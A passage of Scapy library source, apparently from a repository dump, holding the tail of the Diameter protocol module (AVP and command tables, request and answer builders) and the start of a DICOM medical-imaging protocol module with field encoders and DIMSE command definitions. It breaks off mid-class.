128),\n        2530: ('LRR-Flags', AVPV_Unsigned32, 128),\n        2531: ('LCS-Reference-Number', AVPV_OctetString, 128),\n        2532: ('Deferred-Location-Type', AVPV_Unsigned32, 128),\n        2533: ('Area-Event-Info', AVPV_Grouped, 128),\n        2534: ('Area-Definition', AVPV_Grouped, 128),\n        2535: ('Area', AVPV_Grouped, 128),\n        2536: ('Area-Type', AVPV_Unsigned32, 128),\n        2537: ('Area-Identification', AVPV_Grouped, 128),\n        2538: ('Occurrence-Info', AVP_10415_2538, 128),\n        2539: ('Interval-Time', AVPV_Unsigned32, 128),\n        2540: ('Periodic-LDR-Information', AVPV_Grouped, 128),\n        2541: ('Reporting-Amount', AVPV_Unsigned32, 128),\n        2542: ('Reporting-Interval', AVPV_Unsigned32, 128),\n        2543: ('Reporting-PLMN-List', AVPV_Grouped, 128),\n        2544: ('PLMN-ID-List', AVPV_Grouped, 128),\n        2545: ('PLR-Flags', AVPV_Unsigned32, 128),\n        2546: ('PLA-Flags', AVPV_Unsigned32, 128),\n        2547: ('Deferred-MT-LR-Data', AVPV_Grouped, 128),\n        2548: ('Termination-Cause', AVPV_Unsigned32, 128),\n        2549: ('LRA-Flags', AVPV_Unsigned32, 128),\n        2550: ('Periodic-Location-Support-Indicator', AVP_10415_2550, 128),\n        2551: ('Prioritized-List-Indicator', AVP_10415_2551, 128),\n        2552: ('ESMLC-Cell-Info', AVPV_Grouped, 128),\n        2553: ('Cell-Portion-ID', AVPV_Unsigned32, 128),\n        2554: ('1xRTT-RCID', AVPV_OctetString, 128),\n        2601: ('IMS-Application-Reference-Identifier', AVPV_StrLenField, 192),\n        2602: ('Low-Priority-Indicator', AVP_10415_2602, 192),\n        2604: ('Local-GW-Inserted-Indication', AVP_10415_2604, 192),\n        2605: ('Transcoder-Inserted-Indication', AVP_10415_2605, 192),\n        2606: ('PDP-Address-Prefix-Length', AVPV_Unsigned32, 192),\n        2701: ('Transit-IOI-List', AVPV_StrLenField, 192),\n        2702: ('AS-Code', AVP_10415_2702, 192),\n        2704: ('NNI-Type', AVP_10415_2704, 192),\n        2705: ('Neighbour-Node-Address', AVPV_Address, 192),\n        2706: ('Relationship-Mode', AVP_10415_2706, 192),\n        2707: ('Session-Direction', AVP_10415_2707, 192),\n        2708: ('From-Address', AVPV_StrLenField, 192),\n        2709: ('Access-Transfer-Information', AVPV_Grouped, 192),\n        2710: ('Access-Transfer-Type', AVP_10415_2710, 192),\n        2711: ('Related-IMS-Charging-Identifier', AVPV_StrLenField, 192),\n        2712: ('Related-IMS-Charging-Identifier-Node', AVPV_Address, 192),\n        2713: ('IMS-Visited-Network-Identifier', AVPV_StrLenField, 192),\n        2714: ('TWAN-User-Location-Info', AVPV_Grouped, 192),\n        2716: ('BSSID', AVPV_StrLenField, 192),\n        2717: ('TAD-Identifier', AVP_10415_2717, 192),\n        2802: ('TDF-Application-Instance-Identifier', AVPV_OctetString, 128),\n        2804: ('HeNB-Local-IP-Address', AVPV_Address, 128),\n        2805: ('UE-Local-IP-Address', AVPV_Address, 128),\n        2806: ('UDP-Source-Port', AVPV_Unsigned32, 128),\n        2809: ('Mute-Notification', AVP_10415_2809, 128),\n        2810: ('Monitoring-Time', AVPV_Time, 128),\n        2811: ('AN-GW-Status', AVP_10415_2811, 128),\n        2812: ('User-Location-Info-Time', AVPV_Time, 128),\n        2816: ('Default-QoS-Information', AVPV_Grouped, 128),\n        2817: ('Default-QoS-Name', AVPV_StrLenField, 128),\n        2818: ('Conditional-APN-Aggregate-Max-Bitrate', AVPV_Grouped, 128),\n        2819: ('RAN-NAS-Release-Cause', AVPV_OctetString, 128),\n        2820: ('Presence-Reporting-Area-Elements-List', AVPV_OctetString, 128),\n        2821: ('Presence-Reporting-Area-Identifier', AVPV_OctetString, 128),\n        2822: ('Presence-Reporting-Area-Information', AVPV_Grouped, 128),\n        2823: ('Presence-Reporting-Area-Status', AVPV_Unsigned32, 128),\n        2824: ('NetLoc-Access-Support', AVPV_Unsigned32, 128),\n        2825: ('Fixed-User-Location-Info', AVPV_Grouped, 128),\n        2826: ('PCSCF-Restoration-Indication', AVPV_Unsigned32, 128),\n        2827: ('IP-CAN-Session-Charging-Scope', AVPV_Unsigned32, 128),\n        2828: ('Monitoring-Flags', AVPV_Unsigned32, 128),\n        2901: ('Policy-Counter-Identifier', AVPV_StrLenField, 192),\n        2902: ('Policy-Counter-Status', AVPV_StrLenField, 192),\n        2903: ('Policy-Counter-Status-Report', AVPV_Grouped, 192),\n        2904: ('SL-Request-Type', AVP_10415_2904, 192),\n        2905: ('Pending-Policy-Counter-Information', AVPV_Grouped, 192),\n        2906: ('Pending-Policy-Counter-Change-Time', AVPV_Time, 192),\n        3401: ('Reason-Header', AVPV_StrLenField, 192),\n        3402: ('Instance-Id', AVPV_StrLenField, 192),\n        3403: ('Route-Header-Received', AVPV_StrLenField, 192),\n        3404: ('Route-Header-Transmitted', AVPV_StrLenField, 192),\n        3405: ('SM-Device-Trigger-Information', AVPV_Grouped, 192),\n        3406: ('MTC-IWF-Address', AVPV_Address, 192),\n        3407: ('SM-Device-Trigger-Indicator', AVP_10415_3407, 192),\n        3408: ('SM-Sequence-Number', AVPV_Unsigned32, 192),\n        3409: ('SMS-Result', AVPV_Unsigned32, 192),\n        3410: ('VCS-Information', AVPV_Grouped, 192),\n        3411: ('Basic-Service-Code', AVPV_Grouped, 192),\n        3412: ('Bearer-Capability', AVPV_OctetString, 192),\n        3413: ('Teleservice', AVPV_OctetString, 192),\n        3414: ('ISUP-Location-Number', AVPV_OctetString, 192),\n        3415: ('Forwarding-Pending', AVP_10415_3415, 192),\n        3416: ('ISUP-Cause', AVPV_Grouped, 192),\n        3417: ('MSC-Address', AVPV_OctetString, 192),\n        3418: ('Network-Call-Reference-Number', AVPV_OctetString, 192),\n        3419: ('Start-of-Charging', AVPV_Time, 192),\n        3420: ('VLR-Number', AVPV_OctetString, 192),\n        3421: ('CN-Operator-Selection-Entity', AVP_10415_3421, 192),\n        3422: ('ISUP-Cause-Diagnostics', AVPV_OctetString, 192),\n        3423: ('ISUP-Cause-Location', AVPV_Unsigned32, 192),\n        3424: ('ISUP-Cause-Value', AVPV_Unsigned32, 192),\n        3425: ('ePDG-Address', AVPV_Address, 192),\n        3428: ('Coverage-Status', AVP_10415_3428, 192),\n        3429: ('Layer-2-Group-ID', AVPV_StrLenField, 192),\n        3430: ('Monitored-PLMN-Identifier', AVPV_StrLenField, 192),\n        3431: ('Monitoring-UE-HPLMN-Identifier', AVPV_StrLenField, 192),\n        3432: ('Monitoring-UE-Identifier', AVPV_StrLenField, 192),\n        3433: ('Monitoring-UE-VPLMN-Identifier', AVPV_StrLenField, 192),\n        3434: ('PC3-Control-Protocol-Cause', AVPV_Integer32, 192),\n        3435: ('PC3-EPC-Control-Protocol-Cause', AVPV_Integer32, 192),\n        3436: ('Requested-PLMN-Identifier', AVPV_StrLenField, 192),\n        3437: ('Requestor-PLMN-Identifier', AVPV_StrLenField, 192),\n        3438: ('Role-Of-ProSe-Function', AVP_10415_3438, 192),\n        3439: ('Usage-Information-Report-Sequence-Number', AVPV_Integer32, 192),  # noqa: E501\n        3440: ('ProSe-3rd-Party-Application-ID', AVPV_StrLenField, 192),\n        3441: ('ProSe-Direct-Communication-Data-Container', AVPV_Grouped, 192),\n        3442: ('ProSe-Direct-Discovery-Model', AVP_10415_3442, 192),\n        3443: ('ProSe-Event-Type', AVP_10415_3443, 192),\n        3444: ('ProSe-Function-IP-Address', AVPV_Address, 192),\n        3445: ('ProSe-Functionality', AVP_10415_3445, 192),\n        3446: ('ProSe-Group-IP-Multicast-Address', AVPV_Address, 192),\n        3447: ('ProSe-Information', AVPV_Grouped, 192),\n        3448: ('ProSe-Range-Class', AVP_10415_3448, 192),\n        3449: ('ProSe-Reason-For-Cancellation', AVP_10415_3449, 192),\n        3450: ('ProSe-Request-Timestamp', AVPV_Time, 192),\n        3451: ('ProSe-Role-Of-UE', AVP_10415_3451, 192),\n        3452: ('ProSe-Source-IP-Address', AVPV_Address, 192),\n        3453: ('ProSe-UE-ID', AVPV_StrLenField, 192),\n        3454: ('Proximity-Alert-Indication', AVP_10415_3454, 192),\n        3455: ('Proximity-Alert-Timestamp', AVPV_Time, 192),\n        3456: ('Proximity-Cancellation-Timestamp', AVPV_Time, 192),\n        3457: ('ProSe-Function-PLMN-Identifier', AVPV_StrLenField, 192),\n    },\n}\n\n\n#####################################################################\n#####################################################################\n#\n#       Diameter commands classes and definitions\n#\n#####################################################################\n#####################################################################\n\n# Version + message length + flags + code + Application-ID + Hop-by-Hop ID\n# + End-to-End ID\nDR_Header_Length = 20\nDR_Flags_List = [\"x\", \"x\", \"x\", \"x\", \"T\", \"E\", \"P\", \"R\"]\n\n# The Diameter commands definition fields meaning:\n# 2nd: the 2 letters prefix for both requests and answers\n# 3rd: dictionary of Request/Answer command flags for each supported application ID. Each dictionary key is one of the  # noqa: E501\n# supported application ID and each value is a tuple defining the request\n# flag and then the answer flag\nDR_cmd_def = {\n    257: ('Capabilities-Exchange', 'CE', {0: (128, 0)}),\n    258: ('Re-Auth', 'RA', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}),  # noqa: E501\n    260: ('AA-Mobile-Node', 'AM', {2: (192, 64)}),\n    262: ('Home-Agent-MIP', 'HA', {2: (192, 64)}),\n    265: ('AA', 'AA', {16777272: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64)}),  # noqa: E501\n    268: ('Diameter-EAP', 'DE', {16777272: (192, 64), 16777264: (192, 64), 16777250: (192, 64), 5: (192, 64), 7: (192, 64)}),  # noqa: E501\n    271: ('Accounting', 'AC', {0: (192, 64), 1: (192, 64)}),\n    272: ('Credit-Control', 'CC', {4: (192, 64)}),\n    274: ('Abort-Session', 'AS', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}),  # noqa: E501\n    275: ('Session-Termination', 'ST', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64), 16777272: (192, 64)}),  # noqa: E501\n    280: ('Device-Watchdog', 'DW', {0: (128, 0)}),\n    282: ('Disconnect-Peer', 'DP', {0: (128, 0)}),\n    283: ('User-Authorization', 'UA', {6: (192, 64)}),\n    284: ('Server-Assignment', 'SA', {6: (192, 64)}),\n    285: ('Location-Info', 'LI', {6: (192, 64)}),\n    286: ('Multimedia-Auth', 'MA', {6: (192, 64)}),\n    287: ('Registration-Termination', 'RT', {6: (192, 64)}),\n    288: ('Push-Profile', 'PP', {6: (192, 64)}),\n    300: ('User-Authorization', 'UA', {16777216: (192, 64)}),\n    301: ('Server-Assignment', 'SA', {16777216: (192, 64), 16777265: (192, 64)}),  # noqa: E501\n    302: ('Location-Info', 'LI', {16777216: (192, 64)}),\n    303: ('Multimedia-Auth', 'MA', {16777216: (192, 64), 16777265: (192, 64)}),\n    304: ('Registration-Termination', 'RT', {16777216: (192, 64), 16777265: (192, 64)}),  # noqa: E501\n    305: ('Push-Profile', 'PP', {16777216: (192, 64), 16777265: (128, 64)}),\n    306: ('User-Data', 'UD', {16777217: (192, 64)}),\n    307: ('Profile-Update', 'PU', {16777217: (192, 64)}),\n    308: ('Subscribe-Notifications', 'SN', {16777217: (192, 64)}),\n    309: ('Push-Notification', 'PN', {16777217: (192, 64)}),\n    316: ('Update-Location', 'UL', {16777251: (192, 64)}),\n    317: ('Cancel-Location', 'CL', {16777251: (192, 64)}),\n    318: ('Authentication-Information', 'AI', {16777251: (192, 64)}),\n    319: ('Insert-Subscriber-Data', 'ID', {16777251: (192, 64)}),\n    320: ('Delete-Subscriber-Data', 'DS', {16777251: (192, 64)}),\n    321: ('Purge-UE', 'PU', {16777251: (192, 64)}),\n    322: ('Reset', 'RS', {16777251: (192, 64)}),\n    323: ('Notify', 'NO', {16777251: (192, 64)}),\n    324: ('ME-Identity-Check', 'EC', {16777252: (192, 64)}),\n    325: ('MIP6', 'MI', {8: (192, 64)}),\n    8388620: ('Provide-Location', 'PL', {16777255: (192, 64)}),\n    8388621: ('Location-Report', 'LR', {16777255: (192, 64)}),\n    8388622: ('LCS-Routing-Info', 'RI', {16777291: (192, 64)}),\n    8388635: ('Spending-Limit', 'SL', {16777255: (192, 64)}),\n    8388636: ('Spending-Status-Notification', 'SN', {16777255: (192, 64)}),\n    8388638: ('Update-VCSG-Location', 'UV', {16777308: (192, 64)}),\n    8388642: ('Cancel-VCSG-Location', 'CV', {16777308: (192, 64)}),\n}\n\n# Generic class + commands builder\n#######################################\n\n\nclass DiamG (Packet):\n    \"\"\"   Generic class defining all the Diameter fields\"\"\"\n    name = \"Diameter\"\n    fields_desc = [\n        # Protocol version field, 1 byte, default value = 1\n        XByteField(\"version\", 1),\n        I3FieldLenField(\n            \"drLen\",\n            None,\n            length_of=\"avpList\",\n            adjust=lambda p,\n            x:x +\n            DR_Header_Length),\n        DRFlags(\"drFlags\", None, 8, DR_Flags_List),\n        # Command Code, 3 bytes, no default\n        DRCode(\"drCode\", None, DR_cmd_def),\n        # Application ID, 4 bytes, no default\n        IntEnumField(\"drAppId\", None, AppIDsEnum),\n        # Hop-by-Hop Identifier, 4 bytes\n        XIntField(\"drHbHId\", 0),\n        # End-to-end Identifier, 4 bytes\n        XIntField(\"drEtEId\", 0),\n        PacketListField(\n            \"avpList\",\n            [],\n            GuessAvpType,\n            length_from=lambda pkt:pkt.drLen -\n            DR_Header_Length),\n    ]\n\n\ndef getCmdParams(cmd, request, **fields):\n    \"\"\"Update or fill the fields parameters depending on command code. Both cmd and drAppId can be provided  # noqa: E501\n       in string or int format.\"\"\"\n    drCode = None\n    params = None\n    drAppId = None\n    # Fetch the parameters if cmd is found in dict\n    if isinstance(cmd, int):\n        drCode = cmd    # Enable to craft commands with non standard code\n        if cmd in DR_cmd_def:\n            params = DR_cmd_def[drCode]\n        else:\n            params = ('Unknown', 'UK', {0: (128, 0)})\n            warning(\n                'No Diameter command with code %d found in DR_cmd_def dictionary' %  # noqa: E501\n                cmd)\n    else:  # Assume command is a string\n        if len(cmd) > 3:     # Assume full command name given\n            fpos = 0\n        else:         # Assume abbreviated name is given and take only the first two letters  # noqa: E501\n            cmd = cmd[:2]\n            fpos = 1\n        for k, f in DR_cmd_def.items():\n            if f[fpos][:len(\n                    cmd)] == cmd:   # Accept only a prefix of the full name\n                drCode = k\n                params = f\n                break\n        if not drCode:\n            warning(\n                'Diameter command with name %s not found in DR_cmd_def dictionary.' %  # noqa: E501\n                cmd)\n            return (fields, 'Unknown')\n    # The drCode is set/overridden in any case\n    fields['drCode'] = drCode\n    # Processing of drAppId\n    if 'drAppId' in fields:\n        val = fields['drAppId']\n        if isinstance(val, str):   # Translate into application Id code\n            found = False\n            for k, v in AppIDsEnum.items():\n                if v.find(val) != -1:\n                    drAppId = k\n                    fields['drAppId'] = drAppId\n                    found = True\n                    break\n            if not found:\n                del fields['drAppId']\n                warning(\n                    'Application ID with name %s not found in AppIDsEnum dictionary.' %  # noqa: E501\n                    val)\n                return (fields, 'Unknown')\n        else:   # Assume type is int\n            drAppId = val\n    else:  # Application Id shall be taken from the params found based on cmd\n        drAppId = next(iter(params[2]))   # The first record is taken\n        fields['drAppId'] = drAppId\n    # Set the command name\n    name = params[0] + '-Request' if request else params[0] + '-Answer'\n    # Processing of flags (only if not provided manually)\n    if 'drFlags' not in fields:\n        if drAppId in params[2]:\n            flags = params[2][drAppId]\n            fields['drFlags'] = flags[0] if request else flags[1]\n    return (fields, name)\n\n\ndef DiamReq(cmd, **fields):\n    \"\"\"Craft Diameter request commands\"\"\"\n    upfields, name = getCmdParams(cmd, True, **fields)\n    p = DiamG(**upfields)\n    p.name = name\n    return p\n\n\ndef DiamAns(cmd, **fields):\n    \"\"\"Craft Diameter answer commands\"\"\"\n    upfields, name = getCmdParams(cmd, False, **fields)\n    p = DiamG(**upfields)\n    p.name = name\n    return p\n\n# Binding\n#######################################\n\n\nbind_layers(TCP, DiamG, dport=3868)\nbind_layers(TCP, DiamG, sport=3868)\nbind_layers(SCTPChunkData, DiamG, proto_id=46)\nbind_layers(SCTPChunkData, DiamG, proto_id=47)\n"
  },
  {
    "path": "scapy/contrib/dicom.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Tyler M\n\n# scapy.contrib.description = DICOM (Digital Imaging and Communications in Medicine)\n# scapy.contrib.status = loads\n\n\"\"\"\nDICOM (Digital Imaging and Communications in Medicine) Protocol\nReference: DICOM PS3.8 - Network Communication Support for Message Exchange\nhttps://dicom.nema.org/medical/dicom/current/output/html/part08.html\n\"\"\"\n\nimport logging\nimport socket\nimport struct\nimport time\nfrom typing import Any, Dict, List, Optional, Tuple, Union\n\nfrom scapy.compat import Self\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.error import Scapy_Exception\nfrom scapy.fields import (\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    Field,\n    FieldLenField,\n    IntField,\n    LenField,\n    PacketListField,\n    ShortField,\n    StrFixedLenField,\n    StrLenField,\n)\nfrom scapy.layers.inet import TCP\nfrom scapy.supersocket import StreamSocket\nfrom scapy.volatile import RandShort, RandInt, RandString\n\n__all__ = [\n    \"DICOM_PORT\",\n    \"DICOM_PORT_ALT\",\n    \"APP_CONTEXT_UID\",\n    \"DEFAULT_TRANSFER_SYNTAX_UID\",\n    \"VERIFICATION_SOP_CLASS_UID\",\n    \"CT_IMAGE_STORAGE_SOP_CLASS_UID\",\n    \"PATIENT_ROOT_QR_FIND_SOP_CLASS_UID\",\n    \"PATIENT_ROOT_QR_MOVE_SOP_CLASS_UID\",\n    \"PATIENT_ROOT_QR_GET_SOP_CLASS_UID\",\n    \"STUDY_ROOT_QR_FIND_SOP_CLASS_UID\",\n    \"STUDY_ROOT_QR_MOVE_SOP_CLASS_UID\",\n    \"STUDY_ROOT_QR_GET_SOP_CLASS_UID\",\n    \"DICOM\",\n    \"A_ASSOCIATE_RQ\",\n    \"A_ASSOCIATE_AC\",\n    \"A_ASSOCIATE_RJ\",\n    \"P_DATA_TF\",\n    \"PresentationDataValueItem\",\n    \"A_RELEASE_RQ\",\n    \"A_RELEASE_RP\",\n    \"A_ABORT\",\n    \"DICOMVariableItem\",\n    \"DICOMApplicationContext\",\n    \"DICOMPresentationContextRQ\",\n    \"DICOMPresentationContextAC\",\n    \"DICOMAbstractSyntax\",\n    \"DICOMTransferSyntax\",\n    \"DICOMUserInformation\",\n    \"DICOMMaximumLength\",\n    \"DICOMImplementationClassUID\",\n    \"DICOMAsyncOperationsWindow\",\n    \"DICOMSCPSCURoleSelection\",\n    \"DICOMImplementationVersionName\",\n    \"DICOMSOPClassExtendedNegotiation\",\n    \"DICOMSOPClassCommonExtendedNegotiation\",\n    \"DICOMUserIdentity\",\n    \"DICOMUserIdentityResponse\",\n    \"DICOMElementField\",\n    \"DICOMAETitleField\",\n    \"DICOMUIDField\",\n    \"DICOMUIDFieldRaw\",\n    \"DICOMUSField\",\n    \"DICOMULField\",\n    \"DICOMAEDIMSEField\",\n    \"DIMSEPacket\",\n    \"C_ECHO_RQ\",\n    \"C_ECHO_RSP\",\n    \"C_STORE_RQ\",\n    \"C_STORE_RSP\",\n    \"C_FIND_RQ\",\n    \"C_FIND_RSP\",\n    \"C_MOVE_RQ\",\n    \"C_MOVE_RSP\",\n    \"C_GET_RQ\",\n    \"C_GET_RSP\",\n    \"DICOMSocket\",\n    \"parse_dimse_status\",\n    \"_uid_to_bytes\",\n    \"_uid_to_bytes_raw\",\n    \"build_presentation_context_rq\",\n    \"build_user_information\",\n]\n\nlog = logging.getLogger(\"scapy.contrib.dicom\")\n\nDICOM_PORT = 104\nDICOM_PORT_ALT = 11112\nAPP_CONTEXT_UID = \"1.2.840.10008.3.1.1.1\"\nDEFAULT_TRANSFER_SYNTAX_UID = \"1.2.840.10008.1.2\"\nVERIFICATION_SOP_CLASS_UID = \"1.2.840.10008.1.1\"\nCT_IMAGE_STORAGE_SOP_CLASS_UID = \"1.2.840.10008.5.1.4.1.1.2\"\n\nPATIENT_ROOT_QR_FIND_SOP_CLASS_UID = \"1.2.840.10008.5.1.4.1.2.1.1\"\nPATIENT_ROOT_QR_MOVE_SOP_CLASS_UID = \"1.2.840.10008.5.1.4.1.2.1.2\"\nPATIENT_ROOT_QR_GET_SOP_CLASS_UID = \"1.2.840.10008.5.1.4.1.2.1.3\"\nSTUDY_ROOT_QR_FIND_SOP_CLASS_UID = \"1.2.840.10008.5.1.4.1.2.2.1\"\nSTUDY_ROOT_QR_MOVE_SOP_CLASS_UID = \"1.2.840.10008.5.1.4.1.2.2.2\"\nSTUDY_ROOT_QR_GET_SOP_CLASS_UID = \"1.2.840.10008.5.1.4.1.2.2.3\"\n\nPDU_TYPES = {\n    0x01: \"A-ASSOCIATE-RQ\",\n    0x02: \"A-ASSOCIATE-AC\",\n    0x03: \"A-ASSOCIATE-RJ\",\n    0x04: \"P-DATA-TF\",\n    0x05: \"A-RELEASE-RQ\",\n    0x06: \"A-RELEASE-RP\",\n    0x07: \"A-ABORT\",\n}\n\nITEM_TYPES = {\n    0x10: \"Application Context\",\n    0x20: \"Presentation Context RQ\",\n    0x21: \"Presentation Context AC\",\n    0x30: \"Abstract Syntax\",\n    0x40: \"Transfer Syntax\",\n    0x50: \"User Information\",\n    0x51: \"Maximum Length\",\n    0x52: \"Implementation Class UID\",\n    0x53: \"Asynchronous Operations Window\",\n    0x54: \"SCP/SCU Role Selection\",\n    0x55: \"Implementation Version Name\",\n    0x56: \"SOP Class Extended Negotiation\",\n    0x57: \"SOP Class Common Extended Negotiation\",\n    0x58: \"User Identity\",\n    0x59: \"User Identity Server Response\",\n}\n\n\ndef _uid_to_bytes(uid: Union[str, bytes]) -> bytes:\n    \"\"\"Convert UID to bytes with even-length padding (null byte if needed).\"\"\"\n    if isinstance(uid, bytes):\n        b_uid = uid\n    elif isinstance(uid, str):\n        b_uid = uid.encode(\"ascii\")\n    else:\n        return b\"\"\n    if len(b_uid) % 2 != 0:\n        b_uid += b\"\\x00\"\n    return b_uid\n\n\ndef _uid_to_bytes_raw(uid: Union[str, bytes]) -> bytes:\n    \"\"\"Convert UID to bytes without padding.\"\"\"\n    if isinstance(uid, bytes):\n        return uid\n    elif isinstance(uid, str):\n        return uid.encode(\"ascii\")\n    else:\n        return b\"\"\n\n\nclass DICOMAETitleField(StrFixedLenField):\n    \"\"\"DICOM AE Title field - 16 bytes, space-padded per PS3.5 Section 6.2.\"\"\"\n\n    def __init__(self, name: str, default: bytes = b\"\") -> None:\n        super(DICOMAETitleField, self).__init__(name, default, length=16)\n\n    def i2m(self, pkt: Optional[Packet], val: Any) -> bytes:\n        if val is None:\n            val = b\"\"\n        if isinstance(val, str):\n            val = val.encode(\"ascii\")\n        return val.ljust(16, b\" \")[:16]\n\n    def m2i(self, pkt: Optional[Packet], val: bytes) -> bytes:\n        return val\n\n    def i2repr(self, pkt: Optional[Packet], val: Any) -> str:\n        if isinstance(val, bytes):\n            return val.decode(\"ascii\", errors=\"replace\").rstrip()\n        return str(val).rstrip()\n\n\nclass DICOMElementField(Field[bytes, bytes]):\n    \"\"\"DICOM data element field with explicit tag and length encoding.\"\"\"\n\n    __slots__ = [\"tag_group\", \"tag_elem\"]\n\n    def __init__(self, name: str, default: Any, tag_group: int,\n                 tag_elem: int) -> None:\n        self.tag_group = tag_group\n        self.tag_elem = tag_elem\n        Field.__init__(self, name, default)\n\n    def addfield(self, pkt: Optional[Packet], s: bytes, val: Any) -> bytes:\n        if val is None:\n            val = b\"\"\n        if isinstance(val, str):\n            val = val.encode(\"ascii\")\n        hdr = struct.pack(\"<HHI\", self.tag_group, self.tag_elem, len(val))\n        return s + hdr + val\n\n    def getfield(self, pkt: Optional[Packet], s: bytes) -> Tuple[bytes, bytes]:\n        if len(s) < 8:\n            return s, b\"\"\n        tag_g, tag_e, length = struct.unpack(\"<HHI\", s[:8])\n        # Ensure the buffer contains the full value as declared by the length\n        if len(s) < 8 + length:\n            raise Scapy_Exception(\n                \"Not enough bytes to decode DICOM element value: \"\n                f\"expected {length} bytes, only {len(s) - 8} available\"\n            )\n        value = s[8:8 + length]\n        return s[8 + length:], value\n\n    def i2repr(self, pkt: Optional[Packet], val: Any) -> str:\n        if isinstance(val, bytes):\n            try:\n                return val.decode(\"ascii\").rstrip(\"\\x00\")\n            except UnicodeDecodeError:\n                return val.hex()\n        return repr(val)\n\n    def randval(self) -> RandString:\n        return RandString(8)\n\n\nclass DICOMUIDField(DICOMElementField):\n    \"\"\"DICOM UID element field with automatic even-length padding.\"\"\"\n\n    def addfield(self, pkt: Optional[Packet], s: bytes, val: Any) -> bytes:\n        val = _uid_to_bytes(val) if val else b\"\"\n        return DICOMElementField.addfield(self, pkt, s, val)\n\n    def i2repr(self, pkt: Optional[Packet], val: Any) -> str:\n        if isinstance(val, bytes):\n            return val.decode(\"ascii\").rstrip(\"\\x00\")\n        return str(val)\n\n    def randval(self) -> str:\n        from scapy.volatile import RandNum\n        return \"1.2.3.%d.%d.%d\" % (\n            RandNum(1, 99999)._fix(),\n            RandNum(1, 99999)._fix(),\n            RandNum(1, 99999)._fix()\n        )\n\n\nclass DICOMUIDFieldRaw(DICOMElementField):\n    \"\"\"DICOM UID element field without automatic padding.\"\"\"\n\n    def addfield(self, pkt: Optional[Packet], s: bytes, val: Any) -> bytes:\n        val = _uid_to_bytes_raw(val) if val else b\"\"\n        return DICOMElementField.addfield(self, pkt, s, val)\n\n\nclass DICOMUSField(DICOMElementField):\n    \"\"\"DICOM Unsigned Short (US) element field.\"\"\"\n\n    def addfield(self, pkt: Optional[Packet], s: bytes, val: int) -> bytes:\n        val_bytes = struct.pack(\"<H\", val)\n        return DICOMElementField.addfield(self, pkt, s, val_bytes)\n\n    def getfield(self, pkt: Optional[Packet], s: bytes) -> Tuple[bytes, int]:\n        remain, val_bytes = DICOMElementField.getfield(self, pkt, s)\n        if len(val_bytes) >= 2:\n            return remain, struct.unpack(\"<H\", val_bytes[:2])[0]\n        return remain, 0\n\n    def i2repr(self, pkt: Optional[Packet], val: Any) -> str:\n        return \"0x%04X\" % val\n\n    def randval(self) -> RandShort:\n        return RandShort()\n\n\nclass DICOMULField(DICOMElementField):\n    \"\"\"DICOM Unsigned Long (UL) element field.\"\"\"\n\n    def addfield(self, pkt: Optional[Packet], s: bytes, val: int) -> bytes:\n        val_bytes = struct.pack(\"<I\", val)\n        return DICOMElementField.addfield(self, pkt, s, val_bytes)\n\n    def getfield(self, pkt: Optional[Packet], s: bytes) -> Tuple[bytes, int]:\n        remain, val_bytes = DICOMElementField.getfield(self, pkt, s)\n        if len(val_bytes) >= 4:\n            return remain, struct.unpack(\"<I\", val_bytes[:4])[0]\n        return remain, 0\n\n    def randval(self) -> RandInt:\n        return RandInt()\n\n\nclass DICOMAEDIMSEField(DICOMElementField):\n    \"\"\"DICOM AE element field for DIMSE - 16 bytes, space-padded.\"\"\"\n\n    def addfield(self, pkt: Optional[Packet], s: bytes, val: Any) -> bytes:\n        if val is None:\n            val = b\"\"\n        if isinstance(val, str):\n            val = val.encode(\"ascii\")\n        val = val.ljust(16, b\" \")[:16]\n        return DICOMElementField.addfield(self, pkt, s, val)\n\n    def i2repr(self, pkt: Optional[Packet], val: Any) -> str:\n        if isinstance(val, bytes):\n            return val.decode(\"ascii\", errors=\"replace\").strip()\n        return str(val).strip()\n\n\nclass DIMSEPacket(Packet):\n    \"\"\"Base class for DIMSE command packets with automatic group length.\"\"\"\n\n    GROUP_LENGTH_ELEMENT_SIZE = 12\n\n    def post_build(self, pkt: bytes, pay: bytes) -> bytes:\n        group_len = len(pkt)\n        header = struct.pack(\"<HHI\", 0x0000, 0x0000, 4)\n        header += struct.pack(\"<I\", group_len)\n        return header + pkt + pay\n\n\nDIMSE_COMMAND_FIELDS = {\n    0x0001: \"C-STORE-RQ\",\n    0x8001: \"C-STORE-RSP\",\n    0x0020: \"C-FIND-RQ\",\n    0x8020: \"C-FIND-RSP\",\n    0x0010: \"C-GET-RQ\",\n    0x8010: \"C-GET-RSP\",\n    0x0021: \"C-MOVE-RQ\",\n    0x8021: \"C-MOVE-RSP\",\n    0x0030: \"C-ECHO-RQ\",\n    0x8030: \"C-ECHO-RSP\",\n    0x0FFF: \"C-CANCEL-RQ\",\n    0x0100: \"N-EVENT-REPORT-RQ\",\n    0x8100: \"N-EVENT-REPORT-RSP\",\n    0x0110: \"N-GET-RQ\",\n    0x8110: \"N-GET-RSP\",\n    0x0120: \"N-SET-RQ\",\n    0x8120: \"N-SET-RSP\",\n    0x0130: \"N-ACTION-RQ\",\n    0x8130: \"N-ACTION-RSP\",\n    0x0140: \"N-CREATE-RQ\",\n    0x8140: \"N-CREATE-RSP\",\n    0x0150: \"N-DELETE-RQ\",\n    0x8150: \"N-DELETE-RSP\",\n}\n\nDATA_SET_TYPES = {\n    0x0000: \"Data Set Present\",\n    0x0001: \"Data Set Present\",\n    0x0101: \"No Data Set\",\n}\n\nPRIORITY_VALUES = {\n    0x0000: \"MEDIUM\",\n    0x0001: \"HIGH\",\n    0x0002: \"LOW\",\n}\n\n\nclass C_ECHO_RQ(DIMSEPacket):\n    \"\"\"C-ECHO-RQ DIMSE Command for verification.\"\"\"\n\n    name = \"C-ECHO-RQ\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      VERIFICATION_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x0030, 0x0000, 0x0100),\n        DICOMUSField(\"message_id\", 1, 0x0000, 0x0110),\n        DICOMUSField(\"data_set_type\", 